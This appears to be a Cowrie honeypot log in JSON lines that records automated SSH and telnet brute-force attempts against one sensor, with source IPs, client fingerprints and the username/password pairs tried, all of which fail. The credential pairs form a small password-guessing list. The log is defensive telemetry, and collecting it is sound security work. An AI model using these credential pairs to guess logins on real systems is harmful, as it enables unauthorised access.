{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:01.199708Z","src_ip":"217.168.240.63","session":"17ed0906022a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:01.337813Z","src_ip":"217.168.240.63","session":"17ed0906022a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini520.","message":"login attempt [root/woaini520.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:01.921546Z","src_ip":"217.168.240.63","session":"17ed0906022a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:03.062051Z","src_ip":"217.168.240.63","session":"17ed0906022a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.19998550415039,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:12.773822Z","src_ip":"107.6.151.170","session":"8d2791cd19c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.52652835845947,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:47.082641Z","src_ip":"107.6.151.170","session":"cbd9ce2aae80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":44692,"dst_ip":"159.203.135.109","dst_port":22,"session":"3405db7e9896","protocol":"ssh","message":"New connection: 101.47.159.125:44692 (159.203.135.109:22) [session: 3405db7e9896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:56.988576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:56.994824Z","src_ip":"101.47.159.125","session":"3405db7e9896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:57.233628Z","src_ip":"101.47.159.125","session":"3405db7e9896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:58.221091Z","src_ip":"101.47.159.125","session":"3405db7e9896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:45:59.464022Z","src_ip":"101.47.159.125","session":"3405db7e9896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fee234ef28c","protocol":"telnet","message":"New connection: 172.81.62.90:39832 (159.203.135.109:23) [session: 0fee234ef28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:03.320540Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":35416,"dst_ip":"159.203.135.109","dst_port":22,"session":"81b0c14b3076","protocol":"ssh","message":"New connection: 92.113.145.209:35416 (159.203.135.109:22) [session: 81b0c14b3076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:14.033710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:14.038844Z","src_ip":"92.113.145.209","session":"81b0c14b3076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:14.147309Z","src_ip":"92.113.145.209","session":"81b0c14b3076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cat123","message":"login attempt [root/cat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:14.612301Z","src_ip":"92.113.145.209","session":"81b0c14b3076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:15.723434Z","src_ip":"92.113.145.209","session":"81b0c14b3076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":54244,"dst_ip":"10.17.0.5","dst_port":22,"session":"74d22a7ac68a","protocol":"ssh","message":"New connection: 103.15.222.183:54244 (10.17.0.5:22) [session: 74d22a7ac68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:18.558872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:18.563361Z","src_ip":"103.15.222.183","session":"74d22a7ac68a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:18.806783Z","src_ip":"103.15.222.183","session":"74d22a7ac68a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100183","message":"login attempt [root/100183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:19.549570Z","src_ip":"103.15.222.183","session":"74d22a7ac68a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:20.794928Z","src_ip":"103.15.222.183","session":"74d22a7ac68a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":51886,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b8a5936f507","protocol":"ssh","message":"New connection: 217.168.240.63:51886 (159.203.135.109:22) [session: 0b8a5936f507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:37.767271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:37.772402Z","src_ip":"217.168.240.63","session":"0b8a5936f507","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:37.908782Z","src_ip":"217.168.240.63","session":"0b8a5936f507","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"123","message":"login attempt [lucas/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:38.490793Z","src_ip":"217.168.240.63","session":"0b8a5936f507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:39.634180Z","src_ip":"217.168.240.63","session":"0b8a5936f507","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.76323628425598,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:46:46.083671Z","src_ip":"172.81.62.90","session":"0fee234ef28c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40148,"dst_ip":"159.203.135.109","dst_port":23,"session":"c126696e9dc2","protocol":"telnet","message":"New connection: 128.199.8.54:40148 (159.203.135.109:23) [session: c126696e9dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:47:25.191575Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36476,"dst_ip":"159.203.135.109","dst_port":23,"session":"da2001e1cf62","protocol":"telnet","message":"New connection: 107.6.151.170:36476 (159.203.135.109:23) [session: da2001e1cf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:04.044725Z"}
{"eventid":"cowrie.session.closed","duration":0.004884243011474609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:04.049470Z","src_ip":"107.6.151.170","session":"da2001e1cf62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":48636,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1cdfbe5ddc","protocol":"ssh","message":"New connection: 217.168.240.63:48636 (159.203.135.109:22) [session: 6e1cdfbe5ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:13.234229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:13.237500Z","src_ip":"217.168.240.63","session":"6e1cdfbe5ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:13.370638Z","src_ip":"217.168.240.63","session":"6e1cdfbe5ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"incoming","password":"1234","message":"login attempt [incoming/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:13.924469Z","src_ip":"217.168.240.63","session":"6e1cdfbe5ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:15.051604Z","src_ip":"217.168.240.63","session":"6e1cdfbe5ddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":38334,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc64ac6b3355","protocol":"ssh","message":"New connection: 101.47.159.125:38334 (159.203.135.109:22) [session: dc64ac6b3355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:21.622969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:21.627975Z","src_ip":"101.47.159.125","session":"dc64ac6b3355","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:21.867521Z","src_ip":"101.47.159.125","session":"dc64ac6b3355","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bala","password":"bala","message":"login attempt [bala/bala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:22.858717Z","src_ip":"101.47.159.125","session":"dc64ac6b3355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:24.103067Z","src_ip":"101.47.159.125","session":"dc64ac6b3355","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":43814,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f4985b83564","protocol":"ssh","message":"New connection: 92.113.145.209:43814 (159.203.135.109:22) [session: 7f4985b83564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:50.177067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:50.191627Z","src_ip":"92.113.145.209","session":"7f4985b83564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:50.307411Z","src_ip":"92.113.145.209","session":"7f4985b83564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456789@","message":"login attempt [root/Aa123456789@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:50.820813Z","src_ip":"92.113.145.209","session":"7f4985b83564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:48:51.935821Z","src_ip":"92.113.145.209","session":"7f4985b83564","protocol":"ssh"}
